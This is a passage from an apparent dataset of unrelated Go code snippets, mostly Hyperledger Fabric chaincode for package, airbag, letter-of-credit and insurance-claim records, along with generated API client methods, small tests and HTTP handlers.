{\\n jsonResp = \\\"Error: 6th argument must be a numeric string \\\"\\n return nil, errors.New(jsonResp)\\n \\t}\\npackageinfo.PackageDes = args[6]\\npackageinfo.PkgStatus = \\\"Label_Generated\\\"\\n\\n\\n// populate package holder\\nvar packageids_array PKG_Holder\\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\\n\\nbytes, err := json.Marshal(&packageids_array)\\n\\n// write to blockchain\\nerr = stub.PutState(\\\"PkgIdsKey\\\", bytes)\\nif err != nil {\\n return nil, errors.New(\\\"Error writing to blockchain for PKG_Holder\\\")\\n }\\n\\nbytes, err = json.Marshal(&packageinfo)\\nif err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, errors.New(\\\"Could not marshal personal info object\\\")\\n }\\n\\n// write to blockchain\\nerr = stub.PutState(\\\"1Z20170426\\\", bytes)\\nif err != nil {\\n return nil, errors.New(\\\"Error writing to blockchain for Package\\\")\\n }\\n\\nreturn nil, nil\\n}\",\n \"func (t *IPDCChaincode) invoke_update_status_with_modification_check(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\\r\\n\\r\\n\\tfmt.Println(\\\"***********Entering invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\tif len(args) < 2 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar record_specification_input map[string]interface{}\\r\\n\\r\\n\\tvar err error\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of record.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of record.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tadditional_json, ok := map_specification[\\\"additional_json\\\"]\\r\\n\\r\\n\\tif ok {\\r\\n\\r\\n\\t\\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\\r\\n\\r\\n\\t\\tif ok1 {\\r\\n\\r\\n\\t\\t\\tfor spec, _ := range additional_json_data {\\r\\n\\r\\n\\t\\t\\t\\trecord_specification_input[spec] = additional_json_data[spec]\\r\\n\\t\\t\\t}\\r\\n\\t\\t} else {\\r\\n\\t\\t\\tfmt.Println(\\\"Error: Invalid additional JSON fields in specification\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error: Invalid additional JSON fields in specification\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tvar keys_map interface{}\\r\\n\\r\\n\\tvar specs map[string]interface{}\\r\\n\\r\\n\\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification_input)\\r\\n\\r\\n\\tif error_keys_map != nil {\\r\\n\\r\\n\\t\\tfmt.Println(error_keys_map.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(error_keys_map.Error())\\r\\n\\t}\\r\\n\\r\\n\\tspecs, ok = keys_map.(map[string]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Invalid keys_map specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Invalid keys_map specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tif specs[\\\"primary_key\\\"] == nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: There is no primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error : There is no primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar pk_spec []interface{}\\r\\n\\r\\n\\tpk_spec, ok = specs[\\\"primary_key\\\"].([]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in Primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in Primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tkey, err_key := t.createInterfacePrimaryKey(record_specification_input, pk_spec)\\r\\n\\r\\n\\tif err_key != nil {\\r\\n\\r\\n\\t\\tfmt.Println(err_key.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err_key.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar valAsBytes []byte\\r\\n\\r\\n\\tvalAsBytes, err = stub.GetState(key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Failed to get state: \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Failed to get state: \\\" + err.Error())\\r\\n\\r\\n\\t} else if valAsBytes == nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: No value for primary key : \\\" + key)\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: No value for key\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar record_specification map[string]interface{}\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of record\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of record\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar check int\\r\\n\\r\\n\\tcheck, err = t.Isfieldsmodified(record_specification_input, record_specification, map_specification)\\r\\n\\r\\n\\tif check != 0 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Status Update Failed due to error in modification check. \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Status Update Failed due to error in modification check. \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\\r\\n\\r\\n\\tif err_del != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in deleting composite keys\\\" + err_del.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in deleting composite keys\\\" + err_del.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar to_be_updated_map map[string]interface{}\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of update map.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of update map.\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tfor spec, spec_val := range to_be_updated_map {\\r\\n\\r\\n\\t\\tvar spec_val_string, spec_ok = spec_val.(string)\\r\\n\\r\\n\\t\\tif !spec_ok {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error: Unable to parse value of status update\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error: Unable to parse value of status update\\\")\\r\\n\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\\r\\n\\r\\n\\t\\tif val_check != 0 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(val_err.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(val_err.Error())\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\trecord_specification[spec] = spec_val_string\\r\\n\\t}\\r\\n\\r\\n\\tvar concatenated_record_json []byte\\r\\n\\r\\n\\tconcatenated_record_json, err = json.Marshal(record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Unable to Marshal Concatenated Record to JSON \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Unable to Marshal Concatenated Record to JSON \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr = stub.PutState(key, []byte(concatenated_record_json))\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Failed to put state : \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Failed to put state : \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr = t.create_composite_keys(stub, specs, record_specification, key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in creating composite keys\\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in creating composite keys\\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tfmt.Println(\\\"***********Exiting invoke_update_status_with_modification_check***********\\\")\\r\\n\\r\\n\\treturn shim.Success(nil)\\r\\n\\r\\n}\",\n \"func getChaincodeDeploymentSpec(spec *pb.ChaincodeSpec) (*pb.ChaincodeDeploymentSpec, error) {\\n\\tvar codePackageBytes []byte\\n\\tvar err error\\n\\tif err = checkSpec(spec); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tcodePackageBytes, err = container.GetChaincodePackageBytes(spec)\\n\\tif err != nil {\\n\\t\\terr = fmt.Errorf(\\\"Error getting chaincode package bytes: %s\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n fmt.Printf(\\\"%s\\\", codePackageBytes)\\n\\tchaincodeDeploymentSpec := &pb.ChaincodeDeploymentSpec{ChaincodeSpec: spec, CodePackage: codePackageBytes}\\n\\treturn chaincodeDeploymentSpec, nil\\n}\",\n \"func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\\n\\t\\n\\tfunction, args := stub.GetFunctionAndParameters()\\n\\tfunction =strings.ToLower(function)\\n\\t// check role validity\\n\\tvar role []string\\n\\trole = strings.Split(args[0],\\\".\\\")\\n\\t//var err error\\n\\t// check and map roles here\\n\\t//serializedID,err := stub.GetCreator()\\n\\tmymap,err := stub.GetCreator()\\n\\tif err != nil{\\n\\t\\treturn shim.Error(err.Error())\\n\\t}\\n\\tfmt.Println(mymap)\\n\\t//sid := &msp.SerializedIdentity{}\\n\\t//payload,_:= utils.GetHeader(mymap)\\n\\tsign,err1 := stub.GetSignedProposal()\\n\\tif err1 != nil{\\n\\t\\treturn shim.Error(err.Error())\\n\\t}\\n\\t//sign.Reset()\\n\\tsign.Signature = mymap\\n\\tfmt.Println(sign.Signature)\\n\\tvar str string = sign.String()\\n\\tfmt.Println(str)\\n\\tvar beg string = \\\"-----BEGIN CERTIFICATE-----\\\"\\n\\tvar end string = \\\"-----END CERTIFICATE-----\\\"\\n\\tcerlVal:= strings.ReplaceAll(beg+ strings.Split(strings.Split(str,beg)[2],end)[0]+end,\\\"\\\\\\\\n\\\",\\\"\\\\n\\\")\\n\\tfmt.Println([]byte(cerlVal))\\n\\tblock,_:= pem.Decode([]byte(cerlVal))\\n\\tif block == nil{\\n\\t\\treturn shim.Error(fmt.Sprintf(\\\"Pem parsing error %f\\\\n\\\",block.Bytes))\\n\\t}\\n\\tfmt.Println(block.Bytes)\\n\\tcert,err2 := x509.ParseCertificate(block.Bytes)\\n \\tif err2 != nil{\\n\\t\\treturn shim.Error(err2.Error())\\n\\t}\\n\\tif len(role) != 2 {\\n \\treturn shim.Error(fmt.Sprintf(\\\"Role format not correct \\\"))\\n\\t}\\n\\tfmt.Println(cert.Subject.CommonName)\\n\\tif cert.Subject.CommonName != args[0]{\\n\\t\\treturn shim.Error(fmt.Sprintf(\\\"Certificate doesn't match given role, exiting immediately\\\"))\\n\\t}\\n\\t\\n\\t/*id,_ := stub.GetCreator()\\n\\tcert,err := x509.ParseCertificate(id)\\n\\tif cert == nil || err != nil{\\n\\t\\treturn shim.Error(string(cert.RawSubject))\\n\\t}\\n\\tif len(role)!=2 {\\n\\t\\treturn shim.Error(string(id))\\n\\t}*/\\n\\tif function == \\\"addairbag\\\" {\\n\\t\\t// Adds an airbag to the ledger\\n\\t\\treturn t.addairbag(stub, args)\\n\\t}\\n\\n\\tif function == \\\"transferairbag\\\" {\\n\\t\\t// transfers an airbag to another manufacturer\\n\\t\\treturn t.transferairbag(stub, args)\\n\\t}\\n\\tif function == \\\"mountairbag\\\" {\\n\\t\\t// mounts an airbag into a car\\n\\t\\treturn t.mountairbag(stub, args)\\n\\t}\\n\\n\\tif function == \\\"replaceairbag\\\" {\\n\\t\\t// replaces an airbag in a car\\n\\t\\treturn t.replaceairbag(stub, args)\\n\\t}\\n\\tif function == \\\"recallairbag\\\" {\\n\\t\\t// Recalls an airbag\\n\\t\\treturn t.recallairbag(stub, args)\\n\\t}\\n\\tif function == \\\"checkairbag\\\" {\\n\\t\\t// Checks an airbag in a car\\n\\t\\treturn t.checkairbag(stub, args)\\n\\t}\\n\\tif function == \\\"query\\\" {\\n\\t\\t// Checks an airbag in a car\\n\\t\\treturn t.queryHistory(stub, args)\\n\\t}\\n\\treturn shim.Error(fmt.Sprintf(\\\"Unknown action, check the first argument, must be one of 'addairbag', 'transferairbag','mountairbag','replaceairbag','recallairbag', or 'checkairbag'. But got: %v\\\", function))\\n}\",\n \"func (s *SmartContract) updateCarrier(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\\n \\n\\t lcID := struct {\\n\\t\\t\\t LcID string `json:\\\"lcID\\\"`\\t\\n\\t\\t\\t Carrier string \\t`json:\\\"carrier\\\"`\\n\\t }{}\\n \\n\\t err := json.Unmarshal([]byte(args[0]),&lcID)\\n\\t if err != nil {\\n\\t\\t\\t return shim.Error(\\\"Not able to parse args into LC\\\")\\n\\t }\\n \\n\\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\\n\\t var lc LetterOfCredit\\n\\t err = json.Unmarshal(LCAsBytes, &lc)\\n\\t if err != nil {\\n\\t\\t\\t return shim.Error(\\\"Issue with LC json unmarshaling\\\")\\n\\t }\\n \\n\\t // Verify that the LC has been agreed to\\n\\t if lc.Status != \\\"Accepted\\\" {\\n\\t\\t fmt.Printf(\\\"Letter of Credit request for trade %s accepted\\\\n\\\", lcID.LcID)\\n\\t\\t return shim.Error(\\\"LC has not been accepted by the parties\\\")\\n\\t }\\n \\n\\t // LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \\\"Rejected\\\", BuyerBank: lc.BuyerBank}\\n\\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount,Carrier : lcID.Carrier , Status: \\\"ReadyforShip\\\"}\\n\\t LCBytes, err := json.Marshal(LC)\\n\\t if err != nil {\\n\\t\\t\\t return shim.Error(\\\"Issue with LC json marshaling\\\")\\n\\t }\\n \\n\\t APIstub.PutState(lc.LCId,LCBytes)\\n\\t fmt.Println(\\\"LC UpdateCarrier -> \\\", LC)\\n \\n\\t return shim.Success(nil)\\n }\",\n \"func (o *PatchManagementEntitiesMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func Test_Client_MapByCallingCode(t *testing.T) {\\n\\tret := mockClient.MapByCallingCode(\\\"65\\\")\\n\\tassert.Equal(t, ret[0].Name, \\\"Singapore\\\")\\n}\",\n \"func Test_Errorcode_Build(t *testing.T) {\\n\\n\\terrorCode := uerrors.NewCodeErrorWithPrefix(\\\"test\\\", \\\"test0001\\\")\\n\\n\\terrorCode.WithMsgBody(\\\"this is error message content with param.\\\")\\n\\terrorCode.WithMsgBody(\\\"params: ${p1} , ${p2} , ${p3}.\\\")\\n\\n\\t//log.Printf()\\n\\n\\tres := errorCode.Build(\\\"hello-message \\\", \\\"my deal-other \\\", \\\"define\\\")\\n\\tfmt.Println(res)\\n\\n\\tfmt.Println(\\\"case 2\\\")\\n\\tres = errorCode.Build(\\\"hello-message2 \\\", \\\"my deal-other2 \\\", \\\"define2\\\")\\n\\tfmt.Println(res)\\n\\n}\",\n \"func newResponse(regex string, code int) Response {\\n\\tr := Response{Code: code}\\n\\tr.Regex = regexp.MustCompile(regex)\\n\\treturn r\\n}\",\n \"func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\\n\\tfunction, args := stub.GetFunctionAndParameters()\\n\\tfmt.Println(\\\"invoke is running \\\" + function)\\n\\n\\t// Handle different functions\\n\\tif function == \\\"init\\\" { //initialize the chaincode state, used as reset\\n\\t\\treturn t.Init(stub)\\n\\t} else if function == \\\"write\\\" {\\n\\t\\treturn t.write(stub, args) //writes a value to the chaincode state\\n\\n\\t} else if function == \\\"read\\\" {\\n\\t\\treturn t.read(stub, args) //writes a value to the chaincode state\\n\\n\\t} else if function==\\\"consignmentDetail\\\"{\\n return t.consignmentDetail(stub, args)\\n \\n\\t} else if function == \\\"notifyClaim\\\" { //writes claim details with status notified in ledger\\n\\t\\treturn t.notifyClaim(stub, args)\\n\\n\\t} else if function == \\\"createClaim\\\" { //writes claim details with status approved in ledger\\n\\t\\treturn t.createClaim(stub, args)\\n\\n\\t} else if function == \\\"Delete\\\" { //deletes an entity from its state\\n\\t\\treturn t.Delete(stub, args)\\n\\n\\t} else if function == \\\"UploadDocuments\\\" { //upload the dcument hash value \\n\\t\\treturn t.UploadDocuments(stub, args)\\n\\n\\t} else if function == \\\"rejectClaim\\\" { //upload the dcument hash value \\n return t.rejectClaim(stub, args)\\n\\n } else if function == \\\"ExamineClaim\\\" { //Examine and updtaes the claim with status examined\\n\\t\\treturn t.ExamineClaim(stub, args)\\n\\n\\t} else if function == \\\"ClaimNegotiation\\\" { //claim negotiations takes place between public adjuster and claim adjuster\\n\\t\\treturn t.ClaimNegotiation(stub, args)\\n\\n\\t} else if function == \\\"approveClaim\\\" { //after negotiation claim amount is finalised and approved\\n\\t\\treturn t.approveClaim(stub, args)\\n\\n\\t} else if function == \\\"settleClaim\\\" { //after negotiation claim amount is finalised and approved\\n\\t\\treturn t.settleClaim(stub, args)\\n\\n\\t}\\n\\n\\tfmt.Println(\\\"invoke did not find func: \\\" + function)\\n\\n\\treturn shim.Error(\\\"Received unknown invoke function name - '\\\" + function + \\\"'\\\")\\n}\",\n \"func (s *SmartContract) issueLC(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\\n \\n\\t lcID := struct {\\n\\t\\t LcID string `json:\\\"lcID\\\"`\\n\\t }{}\\n\\t err := json.Unmarshal([]byte(args[0]),&lcID)\\n\\t if err != nil {\\n\\t\\t return shim.Error(\\\"Not able to parse args into LCID\\\")\\n\\t }\\n\\t \\n\\t // if err != nil {\\n\\t // \\treturn shim.Error(\\\"No Amount\\\")\\n\\t // }\\n \\n\\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\\n \\n\\t var lc LetterOfCredit\\n \\n\\t err = json.Unmarshal(LCAsBytes, &lc)\\n \\n\\t if err != nil {\\n\\t\\t return shim.Error(\\\"Issue with LC json unmarshaling\\\")\\n\\t }\\n \\n // Verify that the LC is already in Progress before Issueing \\n\\tif (lc.Status == \\\"Accepted\\\" || lc.Status == \\\"Rejected\\\" || lc.Status == \\\"ReadyforShip\\\" || lc.Status == \\\"Shipped\\\" ||lc.Status == \\\"Paid-AWB\\\"){\\n\\t\\tfmt.Printf(\\\"Letter of Credit request for trade %s is already In Process\\\\n\\\", lcID.LcID)\\n\\t\\treturn shim.Error(\\\"Letter of Credit request#: is already In Process, Operation Not Allowed\\\" )\\n\\t}\\n\\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, BuyerBank: lc.BuyerBank,SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \\\"Issued\\\"}\\n\\t LCBytes, err := json.Marshal(LC)\\n \\n\\t if err != nil {\\n\\t\\t return shim.Error(\\\"Issue with LC json marshaling\\\")\\n\\t }\\n \\n\\t APIstub.PutState(lc.LCId,LCBytes)\\n\\t fmt.Println(\\\"LC Issued -> \\\", LC)\\n \\n \\n\\t return shim.Success(nil)\\n }\",\n \"func (ac *applicationController) ModifyRegistrationDetails(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\\n\\t// swagger:operation PATCH /applications/{appName} application modifyRegistrationDetails\\n\\t// ---\\n\\t// summary: Updates specific field(s) of an application registration\\n\\t// parameters:\\n\\t// - name: appName\\n\\t// in: path\\n\\t// description: Name of application\\n\\t// type: string\\n\\t// required: true\\n\\t// - name: patchRequest\\n\\t// in: body\\n\\t// description: Request for Application to patch\\n\\t// required: true\\n\\t// schema:\\n\\t// \\\"$ref\\\": \\\"#/definitions/ApplicationRegistrationPatchRequest\\\"\\n\\t// - name: Impersonate-User\\n\\t// in: header\\n\\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\\n\\t// type: string\\n\\t// required: false\\n\\t// - name: Impersonate-Group\\n\\t// in: header\\n\\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\\n\\t// type: array\\n\\t// items:\\n\\t// type: string\\n\\t// required: false\\n\\t// responses:\\n\\t// \\\"200\\\":\\n\\t// description: Modifying registration operation details\\n\\t// schema:\\n\\t// \\\"$ref\\\": \\\"#/definitions/ApplicationRegistrationUpsertResponse\\\"\\n\\t// \\\"400\\\":\\n\\t// description: \\\"Invalid application\\\"\\n\\t// \\\"401\\\":\\n\\t// description: \\\"Unauthorized\\\"\\n\\t// \\\"404\\\":\\n\\t// description: \\\"Not found\\\"\\n\\t// \\\"409\\\":\\n\\t// description: \\\"Conflict\\\"\\n\\tappName := mux.Vars(r)[\\\"appName\\\"]\\n\\n\\tvar applicationRegistrationPatchRequest applicationModels.ApplicationRegistrationPatchRequest\\n\\tif err := json.NewDecoder(r.Body).Decode(&applicationRegistrationPatchRequest); err != nil {\\n\\t\\tradixhttp.ErrorResponse(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Need in cluster Radix client in order to validate registration using sufficient privileges\\n\\thandler := ac.applicationHandlerFactory(accounts)\\n\\tappRegistrationUpsertResponse, err := handler.ModifyRegistrationDetails(r.Context(), appName, applicationRegistrationPatchRequest)\\n\\tif err != nil {\\n\\t\\tradixhttp.ErrorResponse(w, r, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tradixhttp.JSONResponse(w, r, &appRegistrationUpsertResponse)\\n}\",\n \"func (m *PaymentTerm) SetCode(value *string)() {\\n err := m.GetBackingStore().Set(\\\"code\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (f *CreateBundleReply) Code() FrameCode {\\n\\treturn FrameCreateBundle\\n}\",\n \"func (*InvokeScriptResult_Reissue) Descriptor() ([]byte, []int) {\\n\\treturn file_waves_invoke_script_result_proto_rawDescGZIP(), []int{0, 2}\\n}\",\n \"func (o *PatchServiceAccountTokenNotFound) Code() int {\\n\\treturn 404\\n}\",\n \"func (o *PatchEquipmentIoExpandersMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func Code(w http.ResponseWriter, r *http.Request) {\\n\\tfilter, queryErr := getFilter(r)\\n\\tvar response string\\n\\tif queryErr != nil {\\n\\t\\tresponse = `QUERY ERROR\\\\n` + queryErr.Error()\\n\\t} else {\\n\\t\\tdumpcapOut, dumpcapErr := callDumpcap(filter)\\n\\t\\tif dumpcapErr != nil {\\n\\t\\t\\tresponse = dumpcapErr.Error()\\n\\t\\t} else {\\n\\t\\t\\tresponse = \\\"(000)\\\" + strings.SplitN(string(dumpcapOut), \\\"(000)\\\", 2)[1]\\n\\t\\t}\\n\\t}\\n\\tw.Write([]byte(response + \\\"\\\\n\\\"))\\n}\",\n \"func (o *PatchOpsNoteByIDDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *PatchServiceAccountTokenDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func makeDescription(draconResult map[string]string, extras []string) string {\\n\\tdesc := \\\"This issue was automatically generated by the Dracon security pipeline.\\\\n\\\\n\\\" +\\n\\t\\t\\\"*\\\" + draconResult[\\\"description\\\"] + \\\"*\\\" + \\\"\\\\n\\\\n\\\"\\n\\n\\t// Append the extra fields to the description\\n\\tif len(extras) > 0 {\\n\\t\\tdesc = desc + \\\"{code:}\\\" + \\\"\\\\n\\\"\\n\\t\\tfor _, s := range extras {\\n\\t\\t\\tdesc = desc + fmt.Sprintf(\\\"%s: %*s\\\\n\\\", s, 25-len(s)+len(draconResult[s]), draconResult[s])\\n\\t\\t}\\n\\t\\tdesc = desc + \\\"{code}\\\" + \\\"\\\\n\\\"\\n\\t}\\n\\treturn desc\\n}\",\n \"func Return(ctx *gin.Context, code status.Code, data interface{}) {\\n\\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\\n}\",\n \"func (o *PatchAddonDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (a *Client) PatchAttributesCode(params *PatchAttributesCodeParams) (*PatchAttributesCodeCreated, *PatchAttributesCodeNoContent, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewPatchAttributesCodeParams()\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(&runtime.ClientOperation{\\n\\t\\tID: \\\"patch_attributes__code_\\\",\\n\\t\\tMethod: \\\"PATCH\\\",\\n\\t\\tPathPattern: \\\"/api/rest/v1/attributes/{code}\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tSchemes: []string{\\\"http\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &PatchAttributesCodeReader{formats: a.formats},\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tswitch value := result.(type) {\\n\\tcase *PatchAttributesCodeCreated:\\n\\t\\treturn value, nil, nil\\n\\tcase *PatchAttributesCodeNoContent:\\n\\t\\treturn nil, value, nil\\n\\t}\\n\\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\\n\\tmsg := fmt.Sprintf(\\\"unexpected success response for attribute: API contract not enforced by server. Client expected to get an error, but got: %T\\\", result)\\n\\tpanic(msg)\\n}\",\n \"func EncodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (mmDeployCode *mClientMockDeployCode) Return(ip1 *insolar.ID, err error) *ClientMock {\\n\\tif mmDeployCode.mock.funcDeployCode != nil {\\n\\t\\tmmDeployCode.mock.t.Fatalf(\\\"ClientMock.DeployCode mock is already set by Set\\\")\\n\\t}\\n\\n\\tif mmDeployCode.defaultExpectation == nil {\\n\\t\\tmmDeployCode.defaultExpectation = &ClientMockDeployCodeExpectation{mock: mmDeployCode.mock}\\n\\t}\\n\\tmmDeployCode.defaultExpectation.results = &ClientMockDeployCodeResults{ip1, err}\\n\\treturn mmDeployCode.mock\\n}\",\n \"func (*ResponseProductCodes) Descriptor() ([]byte, []int) {\\n\\treturn file_response_product_codes_proto_rawDescGZIP(), []int{0}\\n}\",\n \"func (t *IPDCChaincode) query_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\\r\\n\\r\\n\\tfmt.Println(\\\"***********Entering query_update_status***********\\\")\\r\\n\\r\\n\\t//var arguments []string\\r\\n\\r\\n\\tvar pageno int\\r\\n\\r\\n\\tif len(args) < 1 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting query_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Incorrect number of 